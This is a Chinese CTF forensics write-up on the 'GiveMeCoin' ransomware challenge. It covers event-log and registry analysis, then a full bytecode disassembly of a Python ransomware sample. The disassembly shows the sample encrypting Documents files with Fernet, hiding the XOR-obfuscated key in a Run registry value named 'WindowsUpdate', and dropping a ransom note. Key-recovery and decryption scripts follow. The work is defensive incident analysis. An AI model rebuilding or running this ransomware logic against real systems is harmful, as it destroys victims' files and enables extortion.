GiveMeCoin

image-20250915171930334

给了win的事件日志文件和注册表,火眼或者其他事件分析工具分析一下

1.攻击者的ip

192.168.100.130

火眼筛选一下事件的数据内容即可,看到事件id为4624的数据中有ip,可以确认

image-20250916121355878

2.攻击者维权后计划使用的账户

administratr$

将事件按照时间降序排列,发现

image-20250916122856141

发现查询了一个隐藏的管理员用户是否是空密码的事件,警觉性和经验告诉我这个就是维权后计划使用的账户

筛选也能发现其被创建的事件

image-20250916130734573

3.勒索软件的加密算法

Fernet

4.被加密文件的原始MD5(小写)

49745e86e10bf5ed31895882421bc2b0

附件中给的msmgrt.exe程序可以确定是用pyinstaller打包的exe文件,遂用工具解包

image-20250916131105026

之后反编译RansomWare.pyc文件,虽然这个py版本过高没办法完全反编译成代码,但是可以得到字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
F:/������/����/attachment/msmgrt.exe_extracted/RansomWare.pyc (Python 3.13)
[Code]
File Name: RansomWare.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 4
Flags: 0x00000000
[Names]
'winreg'
'cryptography.fernet'
'Fernet'
'os'
'webbrowser'
'ctypes'
'requests'
'datetime'
'base64'
'RansomWare'
'main'
'__name__'
[Locals+Names]
[Constants]
0
None
(
'Fernet'
)
[Code]
File Name: RansomWare.py
Object Name: RansomWare
Qualified Name: RansomWare
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 2
Flags: 0x00000000
[Names]
'__name__'
'__module__'
'__qualname__'
'__firstlineno__'
'file_exts'
'__init__'
'generate_key'
'crypt_file'
'crypt_system'
'staticmethod'
'what_is_bitcoin'
'ransom_note'
'__static_attributes__'
[Locals+Names]
[Constants]
'RansomWare'
11
(
'txt'
'xlsx'
'xls'
'jpg'
'png'
'doc'
'docx'
'ppt'
'pptx'
'db'
)
[Code]
File Name: RansomWare.py
Object Name: __init__
Qualified Name: RansomWare.__init__
Arg Count: 1
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 4
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'key'
'crypter'
'public_key'
'os'
'path'
'expanduser'
'sysRoot'
'join'
'localRoot'
[Locals+Names]
'self'
[Constants]
None
'~'
'Documents'
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: None
4 LOAD_FAST 0: self
6 STORE_ATTR 0: key
16 LOAD_CONST 0: None
18 LOAD_FAST 0: self
20 STORE_ATTR 1: crypter
30 LOAD_CONST 0: None
32 LOAD_FAST 0: self
34 STORE_ATTR 2: public_key
44 LOAD_GLOBAL 6: os
54 LOAD_ATTR 8: path
74 LOAD_ATTR 11: expanduser
94 LOAD_CONST 1: '~'
96 CALL 1
104 LOAD_FAST 0: self
106 STORE_ATTR 6: sysRoot
116 LOAD_GLOBAL 6: os
126 LOAD_ATTR 8: path
146 LOAD_ATTR 15: join
166 LOAD_FAST 0: self
168 LOAD_ATTR 12: sysRoot
188 LOAD_CONST 2: 'Documents'
190 CALL 2
198 LOAD_FAST 0: self
200 STORE_ATTR 8: localRoot
210 RETURN_CONST 0: None
[Code]
File Name: RansomWare.py
Object Name: generate_key
Qualified Name: RansomWare.generate_key
Arg Count: 1
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 8
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'Fernet'
'generate_key'
'key'
'crypter'
'bytes'
'range'
'len'
'base64'
'b64encode'
'decode'
'winreg'
'CreateKey'
'HKEY_CURRENT_USER'
'SetValueEx'
'REG_SZ'
'CloseKey'
'open'
'write'
'ctypes'
'windll'
'kernel32'
'SetFileAttributesW'
[Locals+Names]
'self'
'enc_key'
'reg_path'
'reg_key'
'f'
'XOR_KEY'
[Constants]
None
(
0
1
2
3
4
)
[Code]
File Name: RansomWare.py
Object Name: <genexpr>
Qualified Name: RansomWare.generate_key.<locals>.<genexpr>
Arg Count: 1
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 7
Flags: 0x00000033 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NESTED | CO_GENERATOR)
[Names]
'key'
'len'
[Locals+Names]
'.0'
'i'
'XOR_KEY'
'self'
[Constants]
None
[Disassembly]
0 COPY_FREE_VARS 2
2 RETURN_GENERATOR
4 POP_TOP
6 RESUME 0
8 LOAD_FAST 0: .0
10 GET_ITER
12 FOR_ITER 38 (to 90)
16 STORE_FAST 1: i
18 LOAD_DEREF 3: self
20 LOAD_ATTR 0: key
40 LOAD_FAST 1: i
42 BINARY_SUBSCR
46 LOAD_DEREF 2: XOR_KEY
48 LOAD_FAST 1: i
50 LOAD_GLOBAL 3: NULL + len
60 LOAD_DEREF 2: XOR_KEY
62 CALL 1
70 BINARY_OP 6 (%)
74 BINARY_SUBSCR
78 BINARY_OP 12 (^)
82 YIELD_VALUE 0
84 RESUME 5
86 POP_TOP
88 JUMP_BACKWARD 40 (to 10)
92 END_FOR
94 POP_TOP
96 RETURN_CONST 0: None
98 CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)
100 RERAISE 1
'utf-8'
'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
'WindowsUpdate'
0
'.keybackup'
'wb'
2
[Disassembly]
0 MAKE_CELL 0: self
2 MAKE_CELL 5: XOR_KEY
4 RESUME 0
6 LOAD_GLOBAL 0: Fernet
16 LOAD_ATTR 2: generate_key
36 PUSH_NULL
38 CALL 0
46 LOAD_DEREF 0: self
48 STORE_ATTR 2: key
58 LOAD_GLOBAL 1: NULL + Fernet
68 LOAD_DEREF 0: self
70 LOAD_ATTR 4: key
90 CALL 1
98 LOAD_DEREF 0: self
100 STORE_ATTR 3: crypter
110 BUILD_LIST 0
112 LOAD_CONST 1: (0, 1, 2, 3, 4)
114 LIST_EXTEND 1
116 STORE_DEREF 5: XOR_KEY
118 LOAD_GLOBAL 9: NULL + bytes
128 LOAD_FAST 5: XOR_KEY
130 LOAD_FAST 0: self
132 BUILD_TUPLE 2
134 LOAD_CONST 2: <CODE> <genexpr>
136 MAKE_FUNCTION
138 SET_FUNCTION_ATTRIBUTE 8 (MAKE_FUNCTION_CLOSURE)
140 LOAD_GLOBAL 11: NULL + range
150 LOAD_GLOBAL 13: NULL + len
160 LOAD_DEREF 0: self
162 LOAD_ATTR 4: key
182 CALL 1
190 CALL 1
198 GET_ITER
200 CALL 0
208 CALL 1
216 STORE_FAST 1: enc_key
218 LOAD_GLOBAL 14: base64
228 LOAD_ATTR 16: b64encode
248 PUSH_NULL
250 LOAD_FAST 1: enc_key
252 CALL 1
260 LOAD_ATTR 19: decode
280 LOAD_CONST 3: 'utf-8'
282 CALL 1
290 STORE_FAST 1: enc_key
292 NOP
294 LOAD_CONST 4: 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
296 STORE_FAST 2: reg_path
298 LOAD_GLOBAL 20: winreg
308 LOAD_ATTR 22: CreateKey
328 PUSH_NULL
330 LOAD_GLOBAL 20: winreg
340 LOAD_ATTR 24: HKEY_CURRENT_USER
360 LOAD_FAST 2: reg_path
362 CALL 2
370 STORE_FAST 3: reg_key
372 LOAD_GLOBAL 20: winreg
382 LOAD_ATTR 26: SetValueEx
402 PUSH_NULL
404 LOAD_FAST 3: reg_key
406 LOAD_CONST 5: 'WindowsUpdate'
408 LOAD_CONST 6: 0
410 LOAD_GLOBAL 20: winreg
420 LOAD_ATTR 28: REG_SZ
440 LOAD_FAST 1: enc_key
442 CALL 5
450 POP_TOP
452 LOAD_GLOBAL 20: winreg
462 LOAD_ATTR 30: CloseKey
482 PUSH_NULL
484 LOAD_FAST 3: reg_key
486 CALL 1
494 POP_TOP
496 RETURN_CONST 0: None
498 PUSH_EXC_INFO
500 POP_TOP
502 LOAD_GLOBAL 33: NULL + open
512 LOAD_CONST 7: '.keybackup'
514 LOAD_CONST 8: 'wb'
516 CALL 2
524 BEFORE_WITH
526 STORE_FAST 4: f
528 LOAD_FAST 4: f
530 LOAD_ATTR 35: write
550 LOAD_FAST 1: enc_key
552 CALL 1
560 POP_TOP
562 LOAD_CONST 0: None
564 LOAD_CONST 0: None
566 LOAD_CONST 0: None
568 CALL 2
576 POP_TOP
578 JUMP_FORWARD 17 (to 614)
580 PUSH_EXC_INFO
582 WITH_EXCEPT_START
584 TO_BOOL
592 POP_JUMP_IF_TRUE 1 (to 596)
596 RERAISE 2
598 POP_TOP
600 POP_EXCEPT
602 POP_TOP
604 POP_TOP
606 JUMP_FORWARD 3 (to 614)
608 COPY 3
610 POP_EXCEPT
612 RERAISE 1
614 NOP
616 LOAD_GLOBAL 36: ctypes
626 LOAD_ATTR 38: windll
646 LOAD_ATTR 40: kernel32
666 LOAD_ATTR 43: SetFileAttributesW
686 LOAD_CONST 7: '.keybackup'
688 LOAD_CONST 9: 2
690 CALL 2
698 POP_TOP
700 POP_EXCEPT
702 RETURN_CONST 0: None
704 PUSH_EXC_INFO
706 POP_TOP
708 POP_EXCEPT
710 POP_EXCEPT
712 RETURN_CONST 0: None
714 COPY 3
716 POP_EXCEPT
718 RERAISE 1
720 COPY 3
722 POP_EXCEPT
724 RERAISE 1
[Code]
File Name: RansomWare.py
Object Name: crypt_file
Qualified Name: RansomWare.crypt_file
Arg Count: 3
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 6
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'open'
'read'
'crypter'
'encrypt'
'decrypt'
'write'
[Locals+Names]
'self'
'file_path'
'encrypted'
'f'
'data'
'_data'
'fp'
[Constants]
None
'rb'
'wb'
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 1: NULL + open
12 LOAD_FAST 1: file_path
14 LOAD_CONST 1: 'rb'
16 CALL 2
24 BEFORE_WITH
26 STORE_FAST 3: f
28 LOAD_FAST 3: f
30 LOAD_ATTR 3: read
50 CALL 0
58 STORE_FAST 4: data
60 LOAD_FAST 2: encrypted
62 TO_BOOL
70 POP_JUMP_IF_TRUE 28 (to 128)
74 LOAD_FAST 0: self
76 LOAD_ATTR 4: crypter
96 LOAD_ATTR 7: encrypt
116 LOAD_FAST 4: data
118 CALL 1
126 STORE_FAST 5: _data
128 JUMP_FORWARD 27 (to 184)
130 LOAD_FAST 0: self
132 LOAD_ATTR 4: crypter
152 LOAD_ATTR 9: decrypt
172 LOAD_FAST 4: data
174 CALL 1
182 STORE_FAST 5: _data
184 LOAD_CONST 0: None
186 LOAD_CONST 0: None
188 LOAD_CONST 0: None
190 CALL 2
198 POP_TOP
200 LOAD_GLOBAL 1: NULL + open
210 LOAD_FAST 1: file_path
212 LOAD_CONST 2: 'wb'
214 CALL 2
222 BEFORE_WITH
224 STORE_FAST 6: fp
226 LOAD_FAST 6: fp
228 LOAD_ATTR 11: write
248 LOAD_FAST_CHECK 5: _data
250 CALL 1
258 POP_TOP
260 LOAD_CONST 0: None
262 LOAD_CONST 0: None
264 LOAD_CONST 0: None
266 CALL 2
274 POP_TOP
276 RETURN_CONST 0: None
278 PUSH_EXC_INFO
280 WITH_EXCEPT_START
282 TO_BOOL
290 POP_JUMP_IF_TRUE 1 (to 294)
294 RERAISE 2
296 POP_TOP
298 POP_EXCEPT
300 POP_TOP
302 POP_TOP
304 JUMP_BACKWARD_NO_INTERRUPT 53 (to 200)
306 COPY 3
308 POP_EXCEPT
310 RERAISE 1
312 PUSH_EXC_INFO
314 WITH_EXCEPT_START
316 TO_BOOL
324 POP_JUMP_IF_TRUE 1 (to 328)
328 RERAISE 2
330 POP_TOP
332 POP_EXCEPT
334 POP_TOP
336 POP_TOP
338 RETURN_CONST 0: None
340 COPY 3
342 POP_EXCEPT
344 RERAISE 1
[Code]
File Name: RansomWare.py
Object Name: crypt_system
Qualified Name: RansomWare.crypt_system
Arg Count: 2
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 7
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'os'
'walk'
'localRoot'
'path'
'join'
'split'
'file_exts'
'crypt_file'
[Locals+Names]
'self'
'encrypted'
'system'
'root'
'dir'
'files'
'file'
'file_path'
[Constants]
None
True
(
'topdown'
)
'.'
-1
(
'encrypted'
)
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 0: os
12 LOAD_ATTR 2: walk
32 PUSH_NULL
34 LOAD_FAST 0: self
36 LOAD_ATTR 4: localRoot
56 LOAD_CONST 1: True
58 LOAD_CONST 2: ('topdown',)
60 CALL_KW 2
62 STORE_FAST 2: system
64 LOAD_FAST 2: system
66 GET_ITER
68 FOR_ITER 124 (to 318)
72 UNPACK_SEQUENCE 3
76 STORE_FAST_STORE_FAST 52: root, dir
78 STORE_FAST 5: files
80 LOAD_FAST 5: files
82 GET_ITER
84 FOR_ITER 112 (to 310)
88 STORE_FAST 6: file
90 LOAD_GLOBAL 0: os
100 LOAD_ATTR 6: path
120 LOAD_ATTR 9: join
140 LOAD_FAST_LOAD_FAST 54: root, file
142 CALL 2
150 STORE_FAST 7: file_path
152 LOAD_FAST 6: file
154 LOAD_ATTR 11: split
174 LOAD_CONST 3: '.'
176 CALL 1
184 LOAD_CONST 4: -1
186 BINARY_SUBSCR
190 LOAD_FAST 0: self
192 LOAD_ATTR 12: file_exts
212 CONTAINS_OP 1 (not in)
216 POP_JUMP_IF_FALSE 2 (to 222)
220 JUMP_BACKWARD 70 (to 82)
224 LOAD_FAST 1: encrypted
226 TO_BOOL
234 POP_JUMP_IF_TRUE 19 (to 274)
238 LOAD_FAST 0: self
240 LOAD_ATTR 15: crypt_file
260 LOAD_FAST 7: file_path
262 CALL 1
270 POP_TOP
272 JUMP_BACKWARD 96 (to 82)
276 LOAD_FAST 0: self
278 LOAD_ATTR 15: crypt_file
298 LOAD_FAST 7: file_path
300 LOAD_CONST 1: True
302 LOAD_CONST 5: ('encrypted',)
304 CALL_KW 2
306 POP_TOP
308 JUMP_BACKWARD 114 (to 82)
312 END_FOR
314 POP_TOP
316 JUMP_BACKWARD 126 (to 66)
320 END_FOR
322 POP_TOP
324 RETURN_CONST 0: None
[Code]
File Name: RansomWare.py
Object Name: what_is_bitcoin
Qualified Name: RansomWare.what_is_bitcoin
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 3
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'webbrowser'
'open'
[Locals+Names]
'url'
[Constants]
None
'https://bitcoin.org'
[Disassembly]
0 RESUME 0
2 LOAD_CONST 1: 'https://bitcoin.org'
4 STORE_FAST 0: url
6 LOAD_GLOBAL 0: webbrowser
16 LOAD_ATTR 2: open
36 PUSH_NULL
38 LOAD_FAST 0: url
40 CALL 1
48 POP_TOP
50 RETURN_CONST 0: None
[Code]
File Name: RansomWare.py
Object Name: ransom_note
Qualified Name: RansomWare.ransom_note
Arg Count: 1
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 6
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'datetime'
'date'
'today'
'strftime'
'open'
'os'
'path'
'join'
'sysRoot'
'write'
[Locals+Names]
'self'
'date'
'f'
[Constants]
None
'%d-%B-Y'
'Desktop\\'
'RANSOM_NOTE.txt'
'w'
'您的计算机硬盘已使用军用级加密算法进行加密。\n没有特殊密钥就无法恢复数据。\n只有我们能解密你的文件!\n\n要购买密钥并恢复数据,请遵循以下三个简单步骤:\n1.向钱包地址0x*********转账1比特币\n2.付款已完成,发送一封电子邮件到RecoverYourFiles@protonmail.com声明“已支付”。\n3.从回复的邮件中下载解密程序,在桌面执行\n'
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 0: datetime
12 LOAD_ATTR 2: date
32 LOAD_ATTR 5: today
52 CALL 0
60 LOAD_ATTR 7: strftime
80 LOAD_CONST 1: '%d-%B-Y'
82 CALL 1
90 STORE_FAST 1: date
92 LOAD_GLOBAL 9: NULL + open
102 LOAD_GLOBAL 10: os
112 LOAD_ATTR 12: path
132 LOAD_ATTR 15: join
152 LOAD_FAST 0: self
154 LOAD_ATTR 16: sysRoot
174 LOAD_CONST 2: 'Desktop\\'
176 CALL 2
184 LOAD_CONST 3: 'RANSOM_NOTE.txt'
186 BINARY_OP 0 (+)
190 LOAD_CONST 4: 'w'
192 CALL 2
200 BEFORE_WITH
202 STORE_FAST 2: f
204 LOAD_FAST 2: f
206 LOAD_ATTR 19: write
226 LOAD_CONST 5: '您的计算机硬盘已使用军用级加密算法进行加密。\n没有特殊密钥就无法恢复数据。\n只有我们能解密你的文件!\n\n要购买密钥并恢复数据,请遵循以下三个简单步骤:\n1.向钱包地址0x*********转账1比特币\n2.付款已完成,发送一封电子邮件到RecoverYourFiles@protonmail.com声明“已支付”。\n3.从回复的邮件中下载解密程序,在桌面执行\n'
228 CALL 1
236 POP_TOP
238 LOAD_CONST 0: None
240 LOAD_CONST 0: None
242 LOAD_CONST 0: None
244 CALL 2
252 POP_TOP
254 RETURN_CONST 0: None
256 PUSH_EXC_INFO
258 WITH_EXCEPT_START
260 TO_BOOL
268 POP_JUMP_IF_TRUE 1 (to 272)
272 RERAISE 2
274 POP_TOP
276 POP_EXCEPT
278 POP_TOP
280 POP_TOP
282 RETURN_CONST 0: None
284 COPY 3
286 POP_EXCEPT
288 RERAISE 1
(
'crypter'
'key'
'localRoot'
'public_key'
'sysRoot'
)
None
(
False
)
[Disassembly]
0 RESUME 0
2 LOAD_NAME 0: __name__
4 STORE_NAME 1: __module__
6 LOAD_CONST 0: 'RansomWare'
8 STORE_NAME 2: __qualname__
10 LOAD_CONST 1: 11
12 STORE_NAME 3: __firstlineno__
14 BUILD_LIST 0
16 LOAD_CONST 2: ('txt', 'xlsx', 'xls', 'jpg', 'png', 'doc', 'docx', 'ppt', 'pptx', 'db')
18 LIST_EXTEND 1
20 STORE_NAME 4: file_exts
22 LOAD_CONST 3: <CODE> __init__
24 MAKE_FUNCTION
26 STORE_NAME 5: __init__
28 LOAD_CONST 4: <CODE> generate_key
30 MAKE_FUNCTION
32 STORE_NAME 6: generate_key
34 LOAD_CONST 11: (False,)
36 LOAD_CONST 5: <CODE> crypt_file
38 MAKE_FUNCTION
40 SET_FUNCTION_ATTRIBUTE 1 (MAKE_FUNCTION_DEFAULTS)
42 STORE_NAME 7: crypt_file
44 LOAD_CONST 11: (False,)
46 LOAD_CONST 6: <CODE> crypt_system
48 MAKE_FUNCTION
50 SET_FUNCTION_ATTRIBUTE 1 (MAKE_FUNCTION_DEFAULTS)
52 STORE_NAME 8: crypt_system
54 LOAD_NAME 9: staticmethod
56 LOAD_CONST 7: <CODE> what_is_bitcoin
58 MAKE_FUNCTION
60 CALL 0
68 STORE_NAME 10: what_is_bitcoin
70 LOAD_CONST 8: <CODE> ransom_note
72 MAKE_FUNCTION
74 STORE_NAME 11: ransom_note
76 LOAD_CONST 9: ('crypter', 'key', 'localRoot', 'public_key', 'sysRoot')
78 STORE_NAME 12: __static_attributes__
80 RETURN_CONST 10: None
'RansomWare'
[Code]
File Name: RansomWare.py
Object Name: main
Qualified Name: main
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 2
Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)
[Names]
'RansomWare'
'generate_key'
'crypt_system'
'what_is_bitcoin'
'ransom_note'
[Locals+Names]
'rw'
[Constants]
None
[Disassembly]
0 RESUME 0
2 LOAD_GLOBAL 1: NULL + RansomWare
12 CALL 0
20 STORE_FAST 0: rw
22 LOAD_FAST 0: rw
24 LOAD_ATTR 3: generate_key
44 CALL 0
52 POP_TOP
54 LOAD_FAST 0: rw
56 LOAD_ATTR 5: crypt_system
76 CALL 0
84 POP_TOP
86 LOAD_FAST 0: rw
88 LOAD_ATTR 7: what_is_bitcoin
108 CALL 0
116 POP_TOP
118 LOAD_FAST 0: rw
120 LOAD_ATTR 9: ransom_note
140 CALL 0
148 POP_TOP
150 RETURN_CONST 0: None
'__main__'
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: 0
4 LOAD_CONST 1: None
6 IMPORT_NAME 0: winreg
8 STORE_NAME 0: winreg
10 LOAD_CONST 0: 0
12 LOAD_CONST 2: ('Fernet',)
14 IMPORT_NAME 1: cryptography.fernet
16 IMPORT_FROM 2: Fernet
18 STORE_NAME 2: Fernet
20 POP_TOP
22 LOAD_CONST 0: 0
24 LOAD_CONST 1: None
26 IMPORT_NAME 3: os
28 STORE_NAME 3: os
30 LOAD_CONST 0: 0
32 LOAD_CONST 1: None
34 IMPORT_NAME 4: webbrowser
36 STORE_NAME 4: webbrowser
38 LOAD_CONST 0: 0
40 LOAD_CONST 1: None
42 IMPORT_NAME 5: ctypes
44 STORE_NAME 5: ctypes
46 LOAD_CONST 0: 0
48 LOAD_CONST 1: None
50 IMPORT_NAME 6: requests
52 STORE_NAME 6: requests
54 LOAD_CONST 0: 0
56 LOAD_CONST 1: None
58 IMPORT_NAME 7: datetime
60 STORE_NAME 7: datetime
62 LOAD_CONST 0: 0
64 LOAD_CONST 1: None
66 IMPORT_NAME 8: base64
68 STORE_NAME 8: base64
70 LOAD_BUILD_CLASS
72 PUSH_NULL
74 LOAD_CONST 3: <CODE> RansomWare
76 MAKE_FUNCTION
78 LOAD_CONST 4: 'RansomWare'
80 CALL 2
88 STORE_NAME 9: RansomWare
90 LOAD_CONST 5: <CODE> main
92 MAKE_FUNCTION
94 STORE_NAME 10: main
96 LOAD_NAME 11: __name__
98 LOAD_CONST 6: '__main__'
100 COMPARE_OP 88 (==)
104 POP_JUMP_IF_FALSE 8 (to 122)
108 LOAD_NAME 10: main
110 PUSH_NULL
112 CALL 0
120 POP_TOP
122 RETURN_CONST 1: None
124 RETURN_CONST 1: None

分析字节码可知,用XOR_KEY将fernet的密钥循环加密后得到enc_key,并将其存在注册表的Software\\Microsoft\\Windows\\CurrentVersion\\Run中的WindowsUpdate键值下

image-20250916131651433

XOR_KEY是(0, 1, 2, 3, 4),比赛的时候没有分析出来,艹啊,还是太菜了,看不懂字节码,同时这个字节码可能也有错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64

def decrypt_key(enc_key_base64):
"""
解密加密的密钥
"""
try:
# Base64解码
enc_key = base64.b64decode(enc_key_base64)

# XOR解密
XOR_KEY = [0, 1, 2, 3, 4]
key_length = len(enc_key)
original_key = bytes(enc_key[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(key_length))

return original_key
except Exception as e:
print(f"密钥解密失败: {str(e)}")
return None

# 您提供的加密密钥
encrypted_key = "d2hNbX1BT05hPUFAWnV8ejI3bEpESDFwTkZlYTUpb2c2Lmc2TDRsbV9DSz4="

# 解密密钥
original_key = decrypt_key(encrypted_key)
print(original_key)

得到wiOnyANLb9AAXvxz35oNDI3sJFdc6-of4-c6M6oi_BI=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# safe_decrypt.py
import base64
from cryptography.fernet import Fernet, InvalidToken

# 输入:从样本或注册表拿到的 base64 混淆串
enc_b64 = "d2hNbX1BT05hPUFAWnV8ejI3bEpESDFwTkZlYTUpb2c2Lmc2TDRsbV9DSz4="

# XOR key (由字节码确认)
XOR_KEY = bytes([0,1,2,3,4])

def recover_key(enc_b64):
try:
enc = base64.b64decode(enc_b64, validate=True) # 把 base64 -> bytes
except Exception as e:
raise RuntimeError(f"base64 decode failed: {e}")

# 逐字节异或恢复
recovered = bytes([enc[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(len(enc))])

# recovered 很可能是一个 ascii/base64 表示的 Fernet key(长度应为 44)
# 它本身是可打印 ASCII(base64 URL-safe)
# 我们不要做 .decode() 除非要打印,打印时使用 repr() 或 errors-safe decode
try:
recovered_str = recovered.decode('ascii') # 试着把 key 当 ascii 文本看
except Exception:
recovered_str = None

return recovered, recovered_str

# 验证并创建 Fernet 实例
def make_fernet_from_recovered(recovered, recovered_str):
candidate = None
if recovered_str and len(recovered_str) == 44:
candidate = recovered_str.encode() # bytes form of base64 string
else:
# 有时候 recovered 已经就是 bytes 的 base64 值(直接可用)
# Fernet() 接受 str bytes 二者,但要确保长度正确
# 尝试直接用 recovered as-is (如果长度 == 44)
if len(recovered) == 44:
candidate = recovered
else:
raise RuntimeError(f"Recovered key length unexpected: {len(recovered)}")

# 最终验证能否被 Fernet 接受(不会抛异常只是延迟到 decrypt)
return Fernet(candidate), candidate

# 安全解密单文件(以二进制方式)
def decrypt_file(fernet, candidate_key, enc_path, out_path):
# 以二进制读写,避免将二进制流当作 UTF-8
with open(enc_path, 'rb') as f:
token = f.read()
try:
plaintext = fernet.decrypt(token)
except InvalidToken:
raise RuntimeError("InvalidToken: 该文件不是由此 key 加密,或已损坏/非标准 Fernet token")
# 写回二进制
with open(out_path, 'wb') as f:
f.write(plaintext)
return out_path

if __name__ == "__main__":
recovered, recovered_str = recover_key(enc_b64)
print("Recovered raw bytes repr:", repr(recovered))
if recovered_str:
print("Recovered as ASCII:", recovered_str)
else:
print("Recovered is not valid ASCII string; showing repr above.")

# 检查 length
print("Recovered length:", len(recovered))

# 如果长度看起来对(44),尝试构造 Fernet 并解密示例文件(在隔离环境)
try:
fobj, key_used = make_fernet_from_recovered(recovered, recovered_str)
print("Fernet instance created, key bytes repr:", repr(key_used))
except Exception as e:
print("Cannot construct Fernet from recovered key:", e)
raise

# 示例:若要解密某文件,取消下面注释并指定路径(务必使用备份副本)
enc_file = "a.txt" # <- 加密文件(备份副本)
out_file = "x.xlsx"
decrypt_file(fobj, key_used, enc_file, out_file)
print("Decrypted ->", out_file)

得到文件

image-20250916132523699

image-20250916132424889